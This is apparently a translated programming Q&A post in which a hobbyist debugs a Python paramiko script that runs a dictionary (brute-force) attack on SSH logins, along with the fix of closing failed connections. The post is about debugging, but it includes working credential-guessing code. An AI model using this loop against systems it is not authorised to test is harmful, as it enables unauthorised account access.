[英]Python script seems to be hanging
我有一台SSH服务器,我一直在测试一个脚本,该脚本执行基于字典的攻击。 通常,我使用单个username:password组合文件并循环浏览,但是最近我决定修改自己的爱好脚本,以允许使用单独的用户名和密码组合。 我认为这将是一个简单的嵌套循环(我选择将密码存储在列表中,而不是用于用户名的文件中)。 不幸的是,添加第二个循环似乎已导致程序挂起,原因是我无法查明。 我觉得我在这里遗漏了一些难以置信的东西。 该程序可以正常执行并按预期工作,但似乎从未真正返回过……该脚本只是在找到正确的组合后挂起,并且从未正确退出过……我必须手动终止它。 令人讨厌的代码块在下面...这是我从主脚本调用的类中较大方法的一部分。 该方法被调用,然后主脚本退出,因此没有任何东西会导致这种情况。
with open(self.pwds) as p:
pwords = p.read().splitlines()
try:
format_text = colored('WARNING', 'yellow', attrs=['underline'])
except:
format_text = "WARNING"
print (format_text, "warning_message")
with open(self.words) as w:
for line in w:
line = line.replace("\n", "")
user = line
for x in pwords:
passw = x
print ("Trying: ", user, ":", passw)
s = paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
s.connect(self.target, username=user, password=passw, timeout=3)
except paramiko.ssh_exception.AuthenticationException:
try:
format_text = colored('FAILED', 'red')
except:
format_text = 'FAILED'
print (format_text)
else:
print ("SUCCESS!")
s.close()
return;
谢谢大家为解决这个问题所做的尝试。 我找到了答案。 即使在失败的情况下,我也需要关闭SSH连接,如下所示。
try:
s.connect(self.target, username=user, password=passw, timeout=3)
except paramiko.ssh_exception.AuthenticationException:
try:
format_text = colored('FAILED', 'red')
except:
format_text = 'FAILED'
print (format_text)
s.close()
else:
print ("SUCCESS!")
s.close()
return;
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.